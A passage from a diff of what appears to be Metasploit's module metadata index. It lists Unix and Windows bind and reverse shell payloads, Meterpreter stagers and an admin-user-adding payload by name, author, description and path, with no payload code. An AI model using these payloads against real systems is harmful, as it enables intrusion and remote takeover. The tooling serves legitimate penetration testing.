"/modules/payloads/singles/cmd/unix/bind_busybox_telnetd.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_ksh", + "ref_name": "cmd/unix/bind_busybox_telnetd", "check": false, "post_auth": false, "default_credential": false, @@ -178331,9 +178373,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_lua": { - "name": "Unix Command Shell, Reverse TCP (via Lua)", - "fullname": "payload/cmd/unix/reverse_lua", + "payload_cmd/unix/bind_inetd": { + "name": "Unix Command Shell, Bind TCP (inetd)", + "fullname": "payload/cmd/unix/bind_inetd", "aliases": [ ], @@ -178341,9 +178383,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "xistence " + "hdm " ], - "description": "Creates an interactive shell via Lua", + "description": "Listen for a connection and spawn a command shell (persistent)", "references": [ ], @@ -178354,9 +178396,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_lua.rb", + "path": "/modules/payloads/singles/cmd/unix/bind_inetd.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_lua", + "ref_name": "cmd/unix/bind_inetd", "check": false, "post_auth": false, "default_credential": false, @@ -178365,9 +178407,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_ncat_ssl": { - "name": "Unix Command Shell, Reverse TCP (via ncat)", - "fullname": "payload/cmd/unix/reverse_ncat_ssl", + "payload_cmd/unix/bind_jjs": { + "name": "Unix Command Shell, Bind TCP (via jjs)", + "fullname": "payload/cmd/unix/bind_jjs", "aliases": [ ], @@ -178375,11 +178417,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "C_Sto" + "conerpirate", + "bcoles " ], - "description": "Creates an interactive shell via ncat, utilizing ssl mode", + "description": "Listen for a connection and spawn a command shell via jjs", "references": [ - + "URL-https://gtfobins.github.io/gtfobins/jjs/", + "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", + "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" ], "platform": "Unix", "arch": "cmd", @@ -178388,9 +178433,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb", + "path": "/modules/payloads/singles/cmd/unix/bind_jjs.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_ncat_ssl", + "ref_name": "cmd/unix/bind_jjs", "check": false, "post_auth": false, "default_credential": false, @@ -178399,9 +178444,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_netcat": { - "name": "Unix Command Shell, Reverse TCP (via netcat)", - "fullname": "payload/cmd/unix/reverse_netcat", + "payload_cmd/unix/bind_lua": { + "name": "Unix Command Shell, Bind TCP (via Lua)", + "fullname": "payload/cmd/unix/bind_lua", "aliases": [ ], @@ -178409,11 +178454,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "m-1-k-3", - "egypt ", - "juan vazquez " + "xistence " ], - "description": "Creates an interactive shell via netcat", + "description": "Listen for a connection and spawn a command shell via Lua", "references": [ ], @@ -178424,9 +178467,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_netcat.rb", + "path": "/modules/payloads/singles/cmd/unix/bind_lua.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_netcat", + "ref_name": "cmd/unix/bind_lua", "check": false, "post_auth": false, "default_credential": false, @@ -178435,9 +178478,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_netcat_gaping": { - "name": "Unix Command Shell, Reverse TCP (via netcat -e)", - "fullname": "payload/cmd/unix/reverse_netcat_gaping", + "payload_cmd/unix/bind_netcat": { + "name": "Unix Command Shell, Bind TCP (via netcat)", + "fullname": "payload/cmd/unix/bind_netcat", "aliases": [ ], @@ -178445,9 +178488,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "m-1-k-3", + "egypt ", + "juan vazquez " ], - "description": "Creates an interactive shell via netcat", + "description": "Listen for a connection and spawn a command shell via netcat", "references": [ ], @@ -178458,9 +178503,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb", + "path": "/modules/payloads/singles/cmd/unix/bind_netcat.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_netcat_gaping", + "ref_name": "cmd/unix/bind_netcat", "check": false, "post_auth": false, "default_credential": false, @@ -178469,9 +178514,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_nodejs": { - "name": "Unix Command Shell, Reverse TCP (via nodejs)", - "fullname": "payload/cmd/unix/reverse_nodejs", + "payload_cmd/unix/bind_netcat_gaping": { + "name": "Unix Command Shell, Bind TCP (via netcat -e)", + "fullname": "payload/cmd/unix/bind_netcat_gaping", "aliases": [ ], @@ -178479,9 +178524,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "joev " + "hdm " ], - "description": "Continually listen for a connection and spawn a command shell via nodejs", + "description": "Listen for a connection and spawn a command shell via netcat", "references": [ ], @@ -178491,10 +178536,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_nodejs.rb", + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_nodejs", + "ref_name": "cmd/unix/bind_netcat_gaping", "check": false, "post_auth": false, "default_credential": false, @@ -178503,9 +178548,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_openssl": { - "name": "Unix Command Shell, Double Reverse TCP SSL (openssl)", - "fullname": "payload/cmd/unix/reverse_openssl", + "payload_cmd/unix/bind_netcat_gaping_ipv6": { + "name": "Unix Command Shell, Bind TCP (via netcat -e) IPv6", + "fullname": "payload/cmd/unix/bind_netcat_gaping_ipv6", "aliases": [ ], @@ -178515,7 +178560,7 @@ "author": [ "hdm " ], - "description": "Creates an interactive shell through two inbound connections", + "description": "Listen for a connection and spawn a command shell via netcat", "references": [ ], @@ -178526,9 +178571,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_openssl.rb", + "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_openssl", + "ref_name": "cmd/unix/bind_netcat_gaping_ipv6", "check": false, "post_auth": false, "default_credential": false, @@ -178537,9 +178582,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_perl": { - "name": "Unix Command Shell, Reverse TCP (via Perl)", - "fullname": "payload/cmd/unix/reverse_perl", + "payload_cmd/unix/bind_nodejs": { + "name": "Unix Command Shell, Bind TCP (via nodejs)", + "fullname": "payload/cmd/unix/bind_nodejs", "aliases": [ ], @@ -178547,9 +178592,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "cazz " + "joev " ], - "description": "Creates an interactive shell via perl", + "description": "Continually listen for a connection and spawn a command shell via nodejs", "references": [ ], @@ -178559,10 +178604,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_perl.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_nodejs.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_perl", + "ref_name": "cmd/unix/bind_nodejs", "check": false, "post_auth": false, "default_credential": false, @@ -178571,9 +178616,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_perl_ssl": { - "name": "Unix Command Shell, Reverse TCP SSL (via perl)", - "fullname": "payload/cmd/unix/reverse_perl_ssl", + "payload_cmd/unix/bind_perl": { + "name": "Unix Command Shell, Bind TCP (via Perl)", + "fullname": "payload/cmd/unix/bind_perl", "aliases": [ ], @@ -178581,9 +178626,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Samy ", + "cazz " ], - "description": "Creates an interactive shell via perl, uses SSL", + "description": "Listen for a connection and spawn a command shell via perl", "references": [ ], @@ -178594,9 +178640,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb", + "path": "/modules/payloads/singles/cmd/unix/bind_perl.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_perl_ssl", + "ref_name": "cmd/unix/bind_perl", "check": false, "post_auth": false, "default_credential": false, @@ -178605,9 +178651,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_php_ssl": { - "name": "Unix Command Shell, Reverse TCP SSL (via php)", - "fullname": "payload/cmd/unix/reverse_php_ssl", + "payload_cmd/unix/bind_perl_ipv6": { + "name": "Unix Command Shell, Bind TCP (via perl) IPv6", + "fullname": "payload/cmd/unix/bind_perl_ipv6", "aliases": [ ], @@ -178615,9 +178661,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Samy ", + "cazz " ], - "description": "Creates an interactive shell via php, uses SSL", + "description": "Listen for a connection and spawn a command shell via perl", "references": [ ], @@ -178628,9 +178675,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb", + "path": "/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_php_ssl", + "ref_name": "cmd/unix/bind_perl_ipv6", "check": false, "post_auth": false, "default_credential": false, @@ -178639,9 +178686,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_python": { - "name": "Unix Command Shell, Reverse TCP (via Python)", - "fullname": "payload/cmd/unix/reverse_python", + "payload_cmd/unix/bind_r": { + "name": "Unix Command Shell, Bind TCP (via R)", + "fullname": "payload/cmd/unix/bind_r", "aliases": [ ], @@ -178649,9 +178696,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "bcoles " + "RageLtMan " ], - "description": "Connect back and create a command shell via Python", + "description": "Continually listen for a connection and spawn a command shell via R", "references": [ ], @@ -178662,9 +178709,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_python.rb", + "path": "/modules/payloads/singles/cmd/unix/bind_r.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_python", + "ref_name": "cmd/unix/bind_r", "check": false, "post_auth": false, "default_credential": false, @@ -178673,9 +178720,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_python_ssl": { - "name": "Unix Command Shell, Reverse TCP SSL (via python)", - "fullname": "payload/cmd/unix/reverse_python_ssl", + "payload_cmd/unix/bind_ruby": { + "name": "Unix Command Shell, Bind TCP (via Ruby)", + "fullname": "payload/cmd/unix/bind_ruby", "aliases": [ ], @@ -178683,9 +178730,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "kris katterjohn " ], - "description": "Creates an interactive shell via python, uses SSL, encodes with base64 by design.", + "description": "Continually listen for a connection and spawn a command shell via Ruby", "references": [ ], @@ -178696,9 +178743,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb", + "path": "/modules/payloads/singles/cmd/unix/bind_ruby.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_python_ssl", + "ref_name": "cmd/unix/bind_ruby", "check": false, "post_auth": false, "default_credential": false, @@ -178707,9 +178754,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_r": { - "name": "Unix Command Shell, Reverse TCP (via R)", - "fullname": "payload/cmd/unix/reverse_r", + "payload_cmd/unix/bind_ruby_ipv6": { + "name": "Unix Command Shell, Bind TCP (via Ruby) IPv6", + "fullname": "payload/cmd/unix/bind_ruby_ipv6", "aliases": [ ], @@ -178717,9 +178764,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "kris katterjohn " ], - "description": "Connect back and create a command shell via R", + "description": "Continually listen for a connection and spawn a command shell via Ruby", "references": [ ], @@ -178730,9 +178777,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_r.rb", + "path": "/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_r", + "ref_name": "cmd/unix/bind_ruby_ipv6", "check": false, "post_auth": false, "default_credential": false, @@ -178741,9 +178788,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_ruby": { - "name": "Unix Command Shell, Reverse TCP (via Ruby)", - "fullname": "payload/cmd/unix/reverse_ruby", + "payload_cmd/unix/bind_socat_sctp": { + "name": "Unix Command Shell, Bind SCTP (via socat)", + "fullname": "payload/cmd/unix/bind_socat_sctp", "aliases": [ ], @@ -178751,9 +178798,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn " + "RageLtMan " ], - "description": "Connect back and create a command shell via Ruby", + "description": "Creates an interactive shell via socat", "references": [ ], @@ -178763,10 +178810,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_ruby.rb", + "mod_time": "2023-04-27 16:21:34 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_socat_sctp.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_ruby", + "ref_name": "cmd/unix/bind_socat_sctp", "check": false, "post_auth": false, "default_credential": false, @@ -178775,9 +178822,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_ruby_ssl": { - "name": "Unix Command Shell, Reverse TCP SSL (via Ruby)", - "fullname": "payload/cmd/unix/reverse_ruby_ssl", + "payload_cmd/unix/bind_socat_udp": { + "name": "Unix Command Shell, Bind UDP (via socat)", + "fullname": "payload/cmd/unix/bind_socat_udp", "aliases": [ ], @@ -178787,7 +178834,7 @@ "author": [ "RageLtMan " ], - "description": "Connect back and create a command shell via Ruby, uses SSL", + "description": "Creates an interactive shell via socat", "references": [ ], @@ -178798,9 +178845,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb", + "path": "/modules/payloads/singles/cmd/unix/bind_socat_udp.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_ruby_ssl", + "ref_name": "cmd/unix/bind_socat_udp", "check": false, "post_auth": false, "default_credential": false, @@ -178809,9 +178856,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_socat_sctp": { - "name": "Unix Command Shell, Reverse SCTP (via socat)", - "fullname": "payload/cmd/unix/reverse_socat_sctp", + "payload_cmd/unix/bind_stub": { + "name": "Unix Command Shell, Bind TCP (stub)", + "fullname": "payload/cmd/unix/bind_stub", "aliases": [ ], @@ -178819,9 +178866,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "hdm " ], - "description": "Creates an interactive shell via socat", + "description": "Listen for a connection and spawn a command shell (stub only, no payload)", "references": [ ], @@ -178831,10 +178878,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-27 16:21:34 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_socat_sctp.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_stub.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_socat_sctp", + "ref_name": "cmd/unix/bind_stub", "check": false, "post_auth": false, "default_credential": false, @@ -178843,9 +178890,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_socat_udp": { - "name": "Unix Command Shell, Reverse UDP (via socat)", - "fullname": "payload/cmd/unix/reverse_socat_udp", + "payload_cmd/unix/bind_zsh": { + "name": "Unix Command Shell, Bind TCP (via Zsh)", + "fullname": "payload/cmd/unix/bind_zsh", "aliases": [ ], @@ -178853,9 +178900,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Doug Prostko ", + "Wang Yihang " ], - "description": "Creates an interactive shell via socat", + "description": "Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is\n often available, please be aware it isn't usually installed by default.", "references": [ ], @@ -178866,9 +178914,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb", + "path": "/modules/payloads/singles/cmd/unix/bind_zsh.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_socat_udp", + "ref_name": "cmd/unix/bind_zsh", "check": false, "post_auth": false, "default_credential": false, @@ -178877,9 +178925,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_ssh": { - "name": "Unix Command Shell, Reverse TCP SSH", - "fullname": "payload/cmd/unix/reverse_ssh", + "payload_cmd/unix/generic": { + "name": "Unix Command, Generic Command Execution", + "fullname": "payload/cmd/unix/generic", "aliases": [ ], @@ -178887,10 +178935,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan ", - "hirura" + "hdm " ], - "description": "Connect back and create a command shell via SSH", + "description": "Executes the supplied command", "references": [ ], @@ -178900,10 +178947,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_ssh.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/generic.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_ssh", + "ref_name": "cmd/unix/generic", "check": false, "post_auth": false, "default_credential": false, @@ -178912,9 +178959,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_ssl_double_telnet": { - "name": "Unix Command Shell, Double Reverse TCP SSL (telnet)", - "fullname": "payload/cmd/unix/reverse_ssl_double_telnet", + "payload_cmd/unix/interact": { + "name": "Unix Command, Interact with Established Connection", + "fullname": "payload/cmd/unix/interact", "aliases": [ ], @@ -178922,10 +178969,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm ", - "RageLtMan " + "hdm " ], - "description": "Creates an interactive shell through two inbound connections, encrypts using SSL via \"-z\" option", + "description": "Interacts with a shell on an established socket connection", "references": [ ], @@ -178935,10 +178981,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb", + "mod_time": "2021-01-05 14:59:46 +0000", + "path": "/modules/payloads/singles/cmd/unix/interact.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_ssl_double_telnet", + "ref_name": "cmd/unix/interact", "check": false, "post_auth": false, "default_credential": false, @@ -178947,9 +178993,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_stub": { - "name": "Unix Command Shell, Reverse TCP (stub)", - "fullname": "payload/cmd/unix/reverse_stub", + "payload_cmd/unix/pingback_bind": { + "name": "Unix Command Shell, Pingback Bind TCP (via netcat)", + "fullname": "payload/cmd/unix/pingback_bind", "aliases": [ ], @@ -178957,9 +179003,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "asoto-r7" ], - "description": "Creates an interactive shell through an inbound connection (stub only, no payload)", + "description": "Accept a connection, send a UUID, then exit", "references": [ ], @@ -178969,10 +179015,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_stub.rb", + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/pingback_bind.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_stub", + "ref_name": "cmd/unix/pingback_bind", "check": false, "post_auth": false, "default_credential": false, @@ -178981,9 +179027,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_tclsh": { - "name": "Unix Command Shell, Reverse TCP (via Tclsh)", - "fullname": "payload/cmd/unix/reverse_tclsh", + "payload_cmd/unix/pingback_reverse": { + "name": "Unix Command Shell, Pingback Reverse TCP (via netcat)", + "fullname": "payload/cmd/unix/pingback_reverse", "aliases": [ ], @@ -178991,9 +179037,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "bcoles " + "asoto-r7" ], - "description": "Creates an interactive shell via Tclsh", + "description": "Creates a socket, send a UUID, then exit", "references": [ ], @@ -179004,9 +179050,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_tclsh.rb", + "path": "/modules/payloads/singles/cmd/unix/pingback_reverse.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_tclsh", + "ref_name": "cmd/unix/pingback_reverse", "check": false, "post_auth": false, "default_credential": false, @@ -179015,9 +179061,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_zsh": { - "name": "Unix Command Shell, Reverse TCP (via Zsh)", - "fullname": "payload/cmd/unix/reverse_zsh", + "payload_cmd/unix/python/meterpreter/bind_tcp": { + "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", + "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp", "aliases": [ ], @@ -179025,10 +179071,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Doug Prostko ", - "Wang Yihang " + "Spencer McIntyre" ], - "description": "Connect back and create a command shell via Zsh. Note: Although Zsh is often\n available, please be aware it isn't usually installed by default.", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", "references": [ ], @@ -179038,10 +179083,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_zsh.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_zsh", + "ref_name": "cmd/unix/python/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179050,9 +179095,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/adduser": { - "name": "Windows Execute net user /ADD CMD", - "fullname": "payload/cmd/windows/adduser", + "payload_cmd/unix/python/meterpreter/bind_tcp_uuid": { + "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp_uuid", "aliases": [ ], @@ -179060,35 +179105,34 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm ", - "scriptjunkie", - "Chris John Riley" + "Spencer McIntyre", + "OJ Reeves" ], - "description": "Create a new user and add them to local administration group.\n\n Note: The specified password is checked for common complexity\n requirements to prevent the target machine rejecting the user\n for failing to meet policy requirements.\n\n Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", "references": [ ], - "platform": "Windows", + "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/adduser.rb", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/adduser", + "ref_name": "cmd/unix/python/meterpreter/bind_tcp_uuid", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/bind_lua": { - "name": "Windows Command Shell, Bind TCP (via Lua)", - "fullname": "payload/cmd/windows/bind_lua", + "payload_cmd/unix/python/meterpreter/reverse_http": { + "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", + "fullname": "payload/cmd/unix/python/meterpreter/reverse_http", "aliases": [ ], @@ -179096,22 +179140,22 @@ "disclosure_date": null, "type": "payload", "author": [ - "xistence " + "Spencer McIntyre" ], - "description": "Listen for a connection and spawn a command shell via Lua", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", "references": [ ], - "platform": "Windows", + "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/bind_lua.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/bind_lua", + "ref_name": "cmd/unix/python/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, @@ -179120,9 +179164,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/bind_perl": { - "name": "Windows Command Shell, Bind TCP (via Perl)", - "fullname": "payload/cmd/windows/bind_perl", + "payload_cmd/unix/python/meterpreter/reverse_https": { + "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", + "fullname": "payload/cmd/unix/python/meterpreter/reverse_https", "aliases": [ ], @@ -179130,13 +179174,8997 @@ "disclosure_date": null, "type": "payload", "author": [ - "Samy ", - "cazz ", - "aushack " + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/meterpreter/reverse_tcp": { + "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", + "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/meterpreter/reverse_tcp_ssl": { + "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", + "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "Ben Campbell ", + "RageLtMan" + ], + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter/reverse_tcp_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/meterpreter/reverse_tcp_uuid": { + "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "OJ Reeves" + ], + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/meterpreter_bind_tcp": { + "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", + "fullname": "payload/cmd/unix/python/meterpreter_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + 